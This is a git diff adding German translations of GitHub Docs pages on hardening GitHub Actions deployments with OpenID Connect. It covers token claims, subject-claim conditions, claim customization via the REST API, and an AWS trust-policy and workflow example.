+| `repo_visibility` | Die Sichtbarkeit des Repositorys, in dem der Workflow ausgeführt wird. Akzeptiert die folgenden Werte: `internal`, `private` oder `public`.                   | 
+| `repository`| Das Repository, aus dem der Workflow ausgeführt wird.                   | 
+| `repository_id`| Das Repository, über das der Workflow ausgeführt wird.  |
+| `repository_owner`| Der Name der Organisation, in der das `repository` gespeichert wird.                   | 
+| `repository_owner_id`| Die ID der Organisation, in der das `repository` gespeichert wird.            |
+| `run_id`| Die ID der Workflowausführung, die den Workflow ausgelöst hat.                   | 
+| `run_number`| Die Angabe, wie oft dieser Workflow ausgeführt wurde.                   | 
+| `run_attempt`| Die Angabe, wie oft diese Workflowausführung wiederholt wurde.                    | 
+| `workflow`| Der Name des Workflows.                   | 
+
+### Definieren von Vertrauensbedingungen für Cloudrollen mithilfe von OIDC-Ansprüchen
+
+Bei OIDC erfordert ein {% data variables.product.prodname_actions %}-Workflow ein Token, um auf Ressourcen in deinem Cloudanbieter zuzugreifen. Der Workflow fordert ein Zugriffstoken von deinem Cloudanbieter an, das die Details überprüft, die vom JWT dargestellt werden. Wenn die Vertrauenskonfiguration im JWT übereinstimmt, reagiert dein Cloudanbieter mit der Ausgabe eines temporären Tokens für den Workflow, das dann für den Zugriff auf Ressourcen in deinem Cloudanbieter verwendet werden kann. Du kannst deinen Cloudanbieter so konfigurieren, dass nur auf Anforderungen reagiert wird, die aus dem Repository einer bestimmten Organisation stammen; du kannst auch zusätzliche Bedingungen angeben, die unten beschrieben werden.
+
+Zielgruppen- und Antragstelleransprüche werden in der Regel zusammen verwendet, während die Bedingungen für die Cloudrolle/Ressourcen festgelegt werden, um den Zugriff auf die GitHub-Workflows zu beschränken.
+- **Zielgruppe**: Standardmäßig verwendet dieser Wert die URL der Organisation oder des Repositorybesitzers. Damit kann eine Bedingung festgelegt werden, nach der nur die Workflows in der bestimmten Organisation auf die Cloudrolle zugreifen können.
+- **Antragsteller**: Verfügt standardmäßig über ein vordefiniertes Format und ist eine Verkettung einiger der wichtigsten Metadaten zum Workflow, z. B. die {% data variables.product.prodname_dotcom %}-Organisation, Repository, Branch oder zugehörige [`job`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idenvironment)-Umgebung. Unter [Beispiele für Antragstelleransprüche](#example-subject-claims) wird dargestellt, wie der Antragstelleranspruch aus verketteten Metadaten zusammengefügt wird.
+
+Wenn du detailliertere Bedingungen für Vertrauensstellungen benötigst, kannst du die Ansprüche für den Aussteller (`iss`) und für den Antragsteller (`sub`) anpassen, die im JWT enthalten sind. Weitere Informationen findest du unter [Anpassen des Tokenansprüche](#customizing-the-token-claims).
+
+Es gibt viele zusätzliche Ansprüche, die im OIDC-Token unterstützt werden und zum Festlegen dieser Bedingungen verwendet werden können. Darüber hinaus könnte dein Cloudanbieter zulassen, dass du den Zugriffstoken eine Rolle zuweist, sodass du noch genauere Berechtigungen angeben kannst.
+
+{% note %}
+
+**Hinweis**: Zur Steuerung, wie dein Cloudanbieter Zugriffstoken ausgibt, **musst** du mindestens eine Bedingung definieren, damit nicht vertrauenswürdige Repositorys keine Zugriffstoken für deine Cloudressourcen anfordern können.
+
+{% endnote %}
+
+### Beispiele für Antragstelleransprüche
+
+Die folgenden Beispiele veranschaulichen, wie du „Antragsteller“ als Bedingung verwendest, und erläutern, wie „Antragsteller“ aus verketteten Metadaten zusammengefügt wird. Der [Antragsteller](https://openid.net/specs/openid-connect-core-1_0.html#StandardClaims) verwendet Informationen aus dem [`job` Kontext](/actions/learn-github-actions/contexts#job-context) und weist deinen Cloudanbieter an, dass Zugriffstokenanforderungen nur für Anforderungen aus Workflows gewährt werden, die in bestimmten Branches und Umgebungen ausgeführt werden. In den folgenden Abschnitten werden einige allgemeine Antragsteller beschrieben, die du verwenden kannst.
+
+#### Filtern nach einer bestimmten Umgebung
+
+Der Antragstelleranspruch umfasst den Umgebungsnamen, wenn der Auftrag auf eine Umgebung verweist.
+
+Du kannst einen Antragsteller konfigurieren, der nach einem bestimmten [Umgebungsnamen](/actions/deployment/using-environments-for-deployment) filtert. In diesem Beispiel muss die Workflowausführung aus einem Auftrag stammen, der eine Umgebung namens `Production` in einem Repository namens `octo-repo` hat, das der Organisation `octo-org`:
+
+|        |             |
+| ------ | ----------- |
+| Syntax: | `repo:<orgName/repoName>:environment:<environmentName>`      | 
+| Beispiel:| `repo:octo-org/octo-repo:environment:Production`       |
+
+#### Filtern nach `pull_request`-Ereignissen
+
+Der Antragstelleranspruch enthält die Zeichenfolge `pull_request`, wenn der Workflow durch ein Pull Request-Ereignis ausgelöst wird, aber nur, wenn der Auftrag nicht auf eine Umgebung verweist.
+
+Du kannst einen Antragsteller konfigurieren, der nach dem [`pull_request`](/actions/learn-github-actions/events-that-trigger-workflows#pull_request)-Ereignis filtert. In diesem Beispiel muss die Workflowausführung durch ein `pull_request`-Ereignis in einem Repository namens `octo-repo` ausgelöst worden sein, das der Organisation `octo-org` gehört:
+
+|        |             |
+| ------ | ----------- |
+| Syntax: | `repo:<orgName/repoName>:pull_request`      | 
+| Beispiel:| `repo:octo-org/octo-repo:pull_request`      |
+
+#### Filtern nach einem bestimmten Branch
+
+Der Antragstelleranspruch enthält den Branchnamen des Workflows, aber nur, wenn der Auftrag nicht auf eine Umgebung verweist und wenn der Workflow nicht durch ein Pull Request-Ereignis ausgelöst wird.
+
+Du kannst einen Antragsteller konfigurieren, der nach einem bestimmten Branchnamen filtert. In diesem Beispiel muss die Workflowausführung aus einem Branch namens `demo-branch` in einem Repository namens `octo-repo` ausgelöst worden sein, das der Organisation `octo-org` gehört:
+
+|        |             |
+| ------ | ----------- |
+| Syntax: | `repo:<orgName/repoName>:ref:refs/heads/branchName`      | 
+| Beispiel:| `repo:octo-org/octo-repo:ref:refs/heads/demo-branch`      |
+
+#### Filtern nach einem bestimmten Tag
+
+Der Antragstelleranspruch enthält den Tagnamen des Workflows, aber nur, wenn der Auftrag nicht auf eine Umgebung verweist und wenn der Workflow nicht durch ein Pull Request-Ereignis ausgelöst wird.
+
+Du kannst einen Antragsteller erstellen, der nach einem bestimmten Tag filtert. In diesem Beispiel muss die Workflowausführung mit einem Tag namens `demo-tag` in einem Repository namens `octo-repo` ausgelöst worden sein, das der Organisation `octo-org` gehört:
+
+|        |             |
+| ------ | ----------- |
+| Syntax: | `repo:<orgName/repoName>:ref:refs/tags/<tagName>`      | 
+| Beispiel:| `repo:octo-org/octo-repo:ref:refs/tags/demo-tag`      |
+
+### Konfigurieren des Antragstellers bei deinem Cloudanbieter
+
+Für die Konfiguration des Antragstellers in der Vertrauensstellung deines Cloudanbieters musst du der vertrauenswürdigen Konfiguration die Antragstellerzeichenfolge hinzufügen. In den folgenden Beispielen wird veranschaulicht, wie verschiedene Cloudanbieter denselben Antragsteller `repo:octo-org/octo-repo:ref:refs/heads/demo-branch` auf unterschiedliche Weise akzeptieren können:
+
+|        |             |
+| ------ | ----------- |
+| Amazon Web Services | `"{% ifversion ghes %}HOSTNAME/_services/token{% else %}token.actions.githubusercontent.com{% endif %}:sub": "repo:octo-org/octo-repo:ref:refs/heads/demo-branch"`      | 
+| Azure| `repo:octo-org/octo-repo:ref:refs/heads/demo-branch`      |
+| Google Cloud Platform| `(assertion.sub=='repo:octo-org/octo-repo:ref:refs/heads/demo-branch')`      |
+| HashiCorp Vault| `bound_subject="repo:octo-org/octo-repo:ref:refs/heads/demo-branch" `      |
+
+Weitere Informationen findest du in den Leitfäden unter [Aktivieren von OpenID Connect für deinen Cloudanbieter](#enabling-openid-connect-for-your-cloud-provider).
+
+## Aktualisieren deiner Aktionen für OIDC
+
+Für die Aktualisierung deiner benutzerdefinierten Aktionen zur Authentifizierung mithilfe von OIDC kannst du `getIDToken()` aus dem Actions-Toolkit verwenden, um ein JWT vom OIDC-Anbieter von {% data variables.product.prodname_dotcom %} anzufordern. Weitere Informationen findest du unter „OIDC-Token“ in der [Dokumentation für das npm-Paket](https://www.npmjs.com/package/@actions/core/v/1.6.0).
+
+Du kannst auch einen `curl`-Befehl verwendest, um die JWT anzufordern, indem du die folgenden Umgebungsvariablen verwendest:
+
+|        |             |
+| ------ | ----------- |
+| `ACTIONS_ID_TOKEN_REQUEST_URL` | Die URL für den OIDC-Anbieter von {% data variables.product.prodname_dotcom %}.      | 
+| `ACTIONS_ID_TOKEN_REQUEST_TOKEN` | Bearertoken für die Anforderung an den OIDC-Anbieter.      |
+
+
+Beispiel:
+
+```shell{:copy}
+curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange"
+```
+
+### Hinzufügen von Berechtigungseinstellungen
+
+{% data reusables.actions.oidc-permissions-token %}
+
+{% ifversion actions-oidc-hardening-config %}
+## Anpassen der Tokenansprüche
+
+Du kannst die Sicherheit deiner OIDC-Konfiguration verbessern, indem du die Ansprüche anpasst, die im JWT enthalten sind. Mit diesen Anpassungen kannst du detailliertere Vertrauensbedingungen für deine Cloudrollen definieren, wenn du deinen Workflows den Zugriff auf in der Cloud gehostete Ressourcen gestattest:
+
+{% ifversion ghec %} – Für eine zusätzliche Sicherheitsebene kannst du der `issuer`-URL das Platzhalterfeld deines Unternehmens anfügen. Auf diese Weise kannst du Bedingungen für den Ausstelleranspruch (`iss`) festlegen, indem du ihn so konfigurierst, dass nur JWT-Token von einer eindeutigen `issuer`-URL akzeptiert werden, die das Platzhalterfeld deines Unternehmens enthalten muss.{% endif %}
+- Du kannst deine OIDC-Konfiguration standardisieren, indem du Bedingungen für den Antragstelleranspruch (`sub`) festlegst, die erfordern, dass JWT-Token aus einem bestimmten Repository, einem wiederverwendbaren Workflow oder einer anderen Quelle stammen.
+- Du kannst detaillierte OIDC-Richtlinien definieren, indem du zusätzliche OIDC-Tokenansprüche wie z. B. `repository_id` und `repo_visibility` verwendest. Weitere Informationen findest du unter [Grundlegendes zum OIDC-Token](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#understanding-the-oidc-token).
+
+Um diese Anspruchsformate anzupassen, können Organisations- und Repositoryadministratoren die REST-API-Endpunkte verwenden, die in den folgenden Abschnitten beschrieben werden.
+
+{% ifversion ghec %}
+
+### Wechseln zu einer eindeutigen Token-URL
+
+Standardmäßig wird das JWT vom {% data variables.product.prodname_dotcom %}-OIDC-Anbieter unter `https://token.actions.githubusercontent.com` ausgestellt. Dieser Pfad wird deinem Cloudanbieter über den `iss`-Wert im JWT angezeigt.
+
+Unternehmensadministratoren können die Sicherheit ihrer OIDC-Konfiguration verbessern, indem sie ihr Unternehmen für den Empfang von Token von einer eindeutigen URL unter `https://api.github.com/enterprises/<enterpriseSlug>/actions/oidc/customization/issuer` konfigurieren. Ersetze `<enterpriseSlug>` durch den Platzhalterwert deines Unternehmens. 
+
+Diese Konfiguration führt dazu, dass dein Unternehmen das OIDC-Token von einer eindeutigen URL empfängt. Anschließend kannst du deinen Cloudanbieter so konfigurieren, dass nur Token von dieser URL akzeptiert werden. Dadurch wird sichergestellt, dass nur die Repositorys des Unternehmens mithilfe von OIDC auf deine Cloudressourcen zugreifen können.
+
+Um diese Einstellung für dein Unternehmen zu aktivieren, muss ein Unternehmensadministrator den `/enterprises/{enterprise}/actions/oidc/customization/issuer`-Endpunkt verwenden und im Anforderungstext `"include_enterprise_slug": true` angeben. Weitere Informationen findest du unter [Festlegen der benutzerdefinierten {% data variables.product.prodname_actions %}-OIDC-Ausstellerrichtlinie für ein Unternehmen](/rest/actions/oidc#set-the-github-actions-oidc-custom-issuer-policy-for-an-enterprise).
+
+Nachdem diese Einstellung angewendet wurde, enthält das JWT den aktualisierten `iss`-Wert. Im folgenden Beispiel verwendet der `iss`-Schlüssel `octocat-inc` als `enterpriseSlug`-Wert:
+
+```json
+{
+  "jti": "6f4762ed-0758-4ccb-808d-ee3af5d723a8"
+  "sub": "repo:octocat-inc/private-server:ref:refs/heads/main"
+  "aud": "http://octocat-inc.example/octocat-inc"
+  "enterprise": "octocat-inc"
+  "iss": "https://api.github.com/enterprises/octocat-inc/actions/oidc/customization/issuer",
+  "bf": 1755350653,
+  "exp": 1755351553,
+  "iat": 1755351253
+}
+```
+
+{% endif %}
+
+### Anpassen der Antragstelleransprüche für eine Organisation
+
+Um organisationsweite Sicherheit, Compliance und Standardisierung zu konfigurieren, kannst du die Standardansprüche an deine erforderlichen Zugriffsbedingungen anpassen. Wenn dein Cloudanbieter Bedingungen für Antragstelleransprüche unterstützt, kannst du eine Bedingung erstellen, die überprüft, ob der `sub`-Wert dem Pfad des wiederverwendbaren Workflows entspricht, z. B. `"job_workflow_ref: "octo-org/octo-automation/.github/workflows/oidc.yml@refs/heads/main""`. Das genaue Format variiert je nach OIDC-Konfiguration deines Cloudanbieters. Um die übereinstimmende Bedingung für {% data variables.product.prodname_dotcom %} zu konfigurieren, kannst du die REST-API verwenden, um zu verlangen, dass der `sub`-Anspruch immer einen bestimmten benutzerdefinierten Anspruch enthalten muss, z. B. `job_workflow_ref`. Weitere Informationen findest du unter [Festlegen der Anpassungsvorlage für einen OIDC-Antragstelleranspruch für eine Organisation](/rest/actions/oidc#set-the-customization-template-for-an-oidc-subject-claim-for-an-organization).
+
+Das Anpassen der Ansprüche führt zu einem neuen Format für den gesamten `sub`-Anspruch, welches das vordefinierte `sub`-Standardformat in dem unter [Beispiele für Antragstelleransprüche](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#example-subject-claims) beschriebenen Token ersetzt.
+
+In den folgenden Beispielvorlagen werden verschiedene Möglichkeiten zum Anpassen des Antragstelleranspruchs veranschaulicht. Zum Konfigurieren dieser Einstellungen für {% data variables.product.prodname_dotcom %} verwenden Organisationsadministratoren die REST-API, um eine Liste der Ansprüche anzugeben, die in den Antragstelleranspruch (`sub`) einbezogen werden müssen. {% data reusables.actions.use-request-body-api %}
+
+Um deine Antragstelleransprüche anzupassen, solltest du zuerst eine Vergleichsbedingung in der OIDC-Konfiguration deines Cloudanbieters erstellen, bevor du die Konfiguration mithilfe der REST-API anpasst. Sobald die Konfiguration abgeschlossen ist, folgt bei jeder Ausführung eines neuen Auftrags das während dieses Auftrags generierte OIDC-Token der neuen Anpassungsvorlage. Wenn die Vergleichsbedingung vor der Ausführung des Auftrags nicht in der OIDC-Konfiguration des Cloudanbieters vorhanden ist, wird das generierte Token möglicherweise nicht vom Cloudanbieter akzeptiert, weil die Cloudbedingungen möglicherweise nicht synchronisiert wurden.
+
+{% note %}
+
+**Hinweis**: Wenn die Organisationsvorlage angewendet wird, wirkt sie sich nicht auf vorhandene Repositorys aus, die bereits OIDC verwenden. Für vorhandene Repositorys sowie alle neuen Repositorys, die nach der Anwendung der Vorlage erstellt werden, muss der Repositorybesitzer den Empfang dieser Konfiguration aktivieren. Weitere Informationen findest du unter [Festlegen des Aktivierungsflags für eine Anpassung des OIDC-Antragstelleranspruchs für ein Repository](/rest/actions/oidc#set-the-opt-in-flag-of-an-oidc-subject-claim-customization-for-a-repository).
+
+{% endnote %}
+
+#### Beispiel: Zulassen des Repositorys basierend auf Sichtbarkeit und Besitzer
+
+In dieser Beispielvorlage kann der `sub`-Anspruch ein neues Format aufweisen, das `repository_owner` und `repository_visibility` verwendet:
+
+```json
+{
+   "include_claim_keys": [
+       "repository_owner",
+       "repository_visibility"
+   ]
+}
+```
+
+Konfiguriere in der OIDC-Konfiguration deines Cloudanbieters die `sub`-Bedingung, um anzugeben, dass Ansprüche bestimmte Werte für `repository_owner` und `repository_visibility` aufweisen müssen. Ein Beispiel für die Camel-Case-Schreibweise lautet: `"repository_owner: "monalisa":repository_visibility:private"`. Mit dem Ansatz kannst du den Cloudrollenzugriff auf private Repositorys innerhalb einer Organisation oder eines Unternehmens beschränken.
+
+#### Beispiel: Zulassen des Zugriffs auf alle Repositorys mit einem bestimmten Besitzer
+
+Durch diese Beispielvorlage kann der `sub`-Anspruch ein neues Format nur mit dem Wert von `repository_owner` aufweisen. {% data reusables.actions.use-request-body-api %}
+
+```json
+{
+   "include_claim_keys": [
+       "repository_owner"
+   ]
+}
+
+```
+
+Konfiguriere in der OIDC-Konfiguration deines Cloudanbieters die `sub`-Bedingung, um anzugeben, dass Ansprüche einen bestimmten Wert für `repository_owner` aufweisen müssen. Beispiel: `"repository_owner: "monalisa""`
+
+#### Beispiel: Erfordern eines wiederverwendbaren Workflows
+
+In dieser Beispielvorlage kann der `sub`-Anspruch ein neues Format aufweisen, das den Wert des `job_workflow_ref`-Anspruchs enthält. Dadurch kann ein Unternehmen [wiederverwendbare Workflows](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#example-subject-claims) verwenden, um konsistente Bereitstellungen in allen eigenen Organisationen und Repositorys zu erzwingen.
+
+{% data reusables.actions.use-request-body-api %}
+
+```json
+  {
+     "include_claim_keys": [
+         "job_workflow_ref"
+     ]
+  }
+```
+
+Konfiguriere in der OIDC-Konfiguration deines Cloudanbieters die `sub`-Bedingung, um anzugeben, dass Ansprüche einen bestimmten Wert für `job_workflow_ref` aufweisen müssen. Ein Beispiel für die Camel-Case-Schreibweise lautet: `"job_workflow_ref: "octo-org/octo-automation/.github/workflows/oidc.yml@refs/heads/main""`.
+
+#### Beispiel: Anfordern eines wiederverwendbaren Workflows und anderer Ansprüche
+
+Die folgende Beispielvorlage kombiniert die Anforderung eines bestimmten wiederverwendbaren Workflows mit zusätzlichen Ansprüchen. {% data reusables.actions.use-request-body-api %}
+
+In diesem Beispiel wird auch veranschaulicht, wie `"context"` zum Definieren deiner Bedingungen verwendet werden kann. Dies ist der Teil, der dem Repository im [`sub`-Standardformat](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#example-subject-claims) folgt. Wenn der Auftrag beispielsweise auf eine Umgebung verweist, enthält der Kontext Folgendes: `environment:<environmentName>`.
+
+```json
+{
+   "include_claim_keys": [
+       "repo",
+       "context",
+       "job_workflow_ref"
+   ]
+}
+```
+
+Konfiguriere in der OIDC-Konfiguration deines Cloudanbieters die `sub`-Bedingung, um anzugeben, dass Ansprüche bestimmte Werte für `repo`, `context` und `job_workflow_ref` aufweisen müssen.
+
+Diese Anpassungsvorlage erfordert, dass der `sub`-Anspruch das folgende Format verwendet: `repo:<orgName/repoName>:environment:<environmentName>:job_workflow_ref:<reusableWorkflowPath>`. Beispiel: `"sub": "repo:octo-org/octo-repo:environment:prod:job_workflow_ref:octo-org/octo-automation/.github/workflows/oidc.yml@refs/heads/main"`
+
+#### Beispiel: Gewähren des Zugriffs auf ein bestimmtes Repository
+
+In dieser Beispielvorlage kannst du für alle Branches/Tags und Umgebungen cloudbasierten Zugriff auf alle Workflows in einem bestimmten Repository gewähren. Um die Sicherheit zu verbessern, kombiniere diese Vorlage mit der benutzerdefinierten Aussteller-URL, die unter [Anpassen der Token-URL für ein Unternehmen](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#customizing-the-token-url-for-an-enterprise) beschrieben wird. 
+
+{% data reusables.actions.use-request-body-api %}
+
+```json
+{
+   "include_claim_keys": [
+       "repo"
+   ]
+}
+```
+
+Konfiguriere in der OIDC-Konfiguration deines Cloudanbieters die `sub`-Bedingung, um einen `repo`-Anspruch zu verlangen, der dem erforderlichen Wert entspricht.
+
+#### Beispiel: Verwenden systemgenerierter GUIDs
+
+Diese Beispielvorlage ermöglicht vorhersagbare OIDC-Ansprüche mit systemgenerierten GUIDs, die bei der Umbenennung von Entitäten (z. B. beim Umbenennen eines Repositorys) unverändert bleiben. {% data reusables.actions.use-request-body-api %}
+
+```json
+  {
+     "include_claim_keys": [
+         "repository_id"
+     ]
+  }
+```
+
+Konfiguriere in der OIDC-Konfiguration deines Cloudanbieters die `sub`-Bedingung, um einen `repository_id`-Anspruch zu verlangen, der dem erforderlichen Wert entspricht.
+
+oder:
+
+```json
+{
+   "include_claim_keys": [
+       "repository_owner_id"
+   ]
+}
+```
+
+Konfiguriere in der OIDC-Konfiguration deines Cloudanbieters die `sub`-Bedingung, um einen `repository_owner_id`-Anspruch zu verlangen, der dem erforderlichen Wert entspricht.
+
+#### Zurücksetzen deiner Anpassungen
+
+In dieser Beispielvorlage werden die Antragstelleransprüche auf das Standardformat zurückgesetzt. {% data reusables.actions.use-request-body-api %} Durch diese Vorlage wird jede Anpassungsrichtlinie auf Organisationsebene effektiv deaktiviert.
+
+```json
+{
+   "include_claim_keys": [
+       "repo",
+       "context"
+   ]
+}
+```
+
+Konfiguriere in der OIDC-Konfiguration deines Cloudanbieters die `sub`-Bedingung, um anzugeben, dass Ansprüche bestimmte Werte für `repo` und `context` aufweisen müssen.
+
+#### Verwenden der Standardansprüche für Antragsteller
+
+Für Repositorys, die eine Antragstelleranspruchsrichtlinie aus ihrer Organisation erhalten können, kann der Repositorybesitzer sich später entscheiden, diese zu deaktivieren und stattdessen das Standardformat des `sub`-Anspruchs zu verwenden. Um dies zu konfigurieren, muss der Repositoryadministrator den REST-API-Endpunkt unter [Festlegen des Deaktivierungsflags für eine Anpassung des OIDC-Antragstelleranspruchs für ein Repository](/rest/actions/oidc#set-the-opt-out-flag-of-an-oidc-subject-claim-customization-for-a-repository) mit dem folgenden Anforderungstext verwenden:
+
+```json
+{
+   "use_default": true
+}
+```
+
+{% endif %}
+
+## Aktualisieren deiner Workflows für OIDC
+
+Du kannst jetzt deine YAML-Workflows aktualisieren, um OIDC-Zugriffstoken anstelle von Geheimnissen zu verwenden. Beliebte Cloudanbieter haben ihre offiziellen Anmeldeaktionen veröffentlicht, die es Ihnen erleichtern, mit OIDC zu beginnen. Weitere Informationen zum Aktualisieren deiner Workflows findest du in den cloudspezifischen Leitfäden unten unter [Aktivieren von OpenID Connect für deinen Cloudanbieter](#enabling-openid-connect-for-your-cloud-provider).
+
+
+## Aktivieren von OpenID Connect für deinen Cloudanbieter
+
+Informationen zum Aktivieren und Konfigurieren von OIDC für deinen spezifischen Cloudanbieter findest du in den folgenden Anleitungen:
+
+- [Konfigurieren von OpenID Connect in Amazon Web Services](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services)
+- [Konfigurieren von OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)
+- [Konfigurieren von OpenID Connect in Google Cloud Platform](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform)
+- [Konfigurieren von OpenID Connect in Hashicorp Vault](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-hashicorp-vault)
+
+Informationen zum Aktivieren und Konfigurieren von OIDC für einen anderen Cloudanbieter findest du in der folgenden Anleitung:
+
+- [Konfigurieren von OpenID Connect in Cloudanbietern](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-cloud-providers)
diff --git a/translations/de-DE/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md b/translations/de-DE/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md
new file mode 100644
index 0000000000..aff8bdc0f0
--- /dev/null
+++ b/translations/de-DE/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md
@@ -0,0 +1,130 @@
+---
+title: Konfigurieren von OpenID Connect in Amazon Web Services
+shortTitle: Configuring OpenID Connect in Amazon Web Services
+intro: 'Verwende OpenID Connect in deinen Workflows, um dich bei Amazon Web Services zu authentifizieren.'
+miniTocMaxHeadingLevel: 3
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.5'
+type: tutorial
+topics:
+  - Security
+ms.openlocfilehash: 6b57dc216c3f2ebc1edb73a8d588edb1967aebcb
+ms.sourcegitcommit: ac00e2afa6160341c5b258d73539869720b395a4
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147876810'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Übersicht
+
+OpenID Connect (OIDC) ermöglicht deinen {% data variables.product.prodname_actions %}-Workflows den Zugriff auf Ressourcen in Amazon Web Services (AWS), ohne dass die AWS-Anmeldeinformationen als langlebige {% data variables.product.prodname_dotcom %}-Geheimnisse gespeichert werden müssen. 
+
+Dieser Leitfaden beschreibt die Konfiguration von AWS, um von {% data variables.product.prodname_dotcom %} als Verbundidentität zu vertrauen, und enthält ein Workflowbeispiel für die [`aws-actions/configure-aws-credentials`](https://github.com/aws-actions/configure-aws-credentials), die Token zur Authentifizierung bei AWS und zum Zugriff auf Ressourcen verwendet.
+
+## Voraussetzungen
+
+{% data reusables.actions.oidc-link-to-intro %}
+
+{% data reusables.actions.oidc-security-notice %}
+
+## Hinzufügen des Identitätsanbieters zu AWS
+
+Weitere Informationen zum Hinzufügen des {% data variables.product.prodname_dotcom %}-OIDC-Anbieters zu IAM findest du in der [AWS-Dokumentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html).
+
+- Für die Anbieter-URL: Verwende {% ifversion ghes %}`https://HOSTNAME/_services/token`{% else %}`https://token.actions.githubusercontent.com`{% endif %}
+- Für die „Zielgruppe“: Verwende `sts.amazonaws.com`, wenn du die [offizielle Aktion](https://github.com/aws-actions/configure-aws-credentials) verwendest.
+
+### Konfigurieren der Rolle und der Vertrauensstellungsrichtlinie
+
+Um die Rolle und die Vertrauensstellung in IAM zu konfigurieren, lies die AWS-Dokumentation zu [Annehmen einer Rolle](https://github.com/aws-actions/configure-aws-credentials#assuming-a-role) und [Erstellen einer Rolle für Webidentität oder OpenID Connect-Verbund](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-idp_oidc.html).
+
+Bearbeite die Vertrauensstellungsrichtlinie, um das `sub`-Feld den Überprüfungsbedingungen hinzuzufügen. Beispiel:
+
+```json{:copy}
+"Condition": {
+  "StringEquals": {
+    "{% ifversion ghes %}HOSTNAME/_services/token{% else %}token.actions.githubusercontent.com{% endif %}:aud": "sts.amazonaws.com",
+    "{% ifversion ghes %}HOSTNAME/_services/token{% else %}token.actions.githubusercontent.com{% endif %}:sub": "repo:octo-org/octo-repo:ref:refs/heads/octo-branch"
+  }
+}
+```
+
+Im folgenden Beispiel wird `ForAllValues` verwendet, um einen Abgleich mit mehreren Bedingungsschlüsseln durchzuführen. `StringLike` wird verwendet, um einen Abgleich mit beliebigen Referenzen im angegebenen Repository durchzuführen. Beachte, dass `ForAllValues` [übermäßige Berechtigungen hat](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_multi-value-conditions.html) und nicht allein in einem `Allow`-Effekt verwendet werden sollte. In diesem Beispiel bedeutet die Aufnahme von `StringLike`, dass eine leere Gruppe in `ForAllValues` die Bedingung weiterhin nicht übergibt:
+
+```json{:copy}
+{
+    "Version": "2012-10-17",
+    "Statement": [
+        {
+            "Effect": "Allow",
+            "Principal": {
+                "Federated": "arn:aws:iam::123456123456:oidc-provider/token.actions.githubusercontent.com"
+            },
+            "Action": "sts:AssumeRoleWithWebIdentity",
+            "Condition": {
+                "StringLike": {
+                    "token.actions.githubusercontent.com:sub": "repo:octo-org/octo-repo:*"
+                },
+                "ForAllValues:StringEquals": {
+                    "token.actions.githubusercontent.com:iss": "https://token.actions.githubusercontent.com",
+                    "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
+                }
+            }
+        }
+    ]
+}
+```
+
+
+## Aktualisieren deines {% data variables.product.prodname_actions %}-Workflows
+
+Um deine Workflows für OIDC zu aktualisieren, musst du zwei Änderungen an deinen YAML-Daten vornehmen:
+1. Füge Berechtigungseinstellungen für das Token hinzu.
+2. Tausche mit der [`aws-actions/configure-aws-credentials`](https://github.com/aws-actions/configure-aws-credentials)-Aktion das OIDC-Token (JWT) gegen ein Cloudzugriffstoken aus.
+
+### Hinzufügen von Berechtigungseinstellungen
+
+ {% data reusables.actions.oidc-permissions-token %}
+
+### Anfordern des Zugriffstokens
+
+Die `aws-actions/configure-aws-credentials`-Aktion empfängt ein JWT vom {% data variables.product.prodname_dotcom %}-OIDC-Anbieter und fordert dann ein Zugriffstoken von AWS an. Weitere Informationen findest du in der [AWS-Dokumentation](https://github.com/aws-actions/configure-aws-credentials).
+
+- `<example-bucket-name>`: Füge den Namen deines S3-Buckets hier hinzu.
+- `<role-to-assume>`: Ersetze das Beispiel durch deine AWS-Rolle.
+- `<example-aws-region>`: Füge den Namen deiner AWS-Region hier hinzu.
+
+```yaml{:copy}
+# Sample workflow to access AWS resources when workflow is tied to branch
+# The workflow Creates static website using aws s3
+name: AWS example workflow
+on:
+  push
+env:
+  BUCKET_NAME : "<example-bucket-name>"
+  AWS_REGION : "<example-aws-region>"
+# permission can be added at job level or workflow level    
+permissions:
+      id-token: write   # This is required for requesting the JWT
+      contents: read    # This is required for actions/checkout
+jobs:
+  S3PackageUpload:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Git clone the repository
+        uses: {% data reusables.actions.action-checkout %}
+      - name: configure aws credentials
+        uses: aws-actions/configure-aws-credentials@v1
+        with:
+          role-to-assume: arn:aws:iam::1234567890:role/example-role
+          role-session-name: samplerolesession
+          aws-region: {% raw %}${{ env.AWS_REGION }}{% endraw %}
+      # Upload a file to AWS s3
+      - name:  Copy index.html to s3
+        run: |
+          aws s3 cp ./index.html s3://{% raw %}${{ env.BUCKET_NAME }}{% endraw %}/
+```
diff --git a/translations/de-DE/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md b/translations/de-DE/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md
new file mode 100644
index 0000000000..cd7f0cf310
--- /dev/null
+++ b/translations/de-DE/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md
@@ -0,0 +1,89 @@
+---
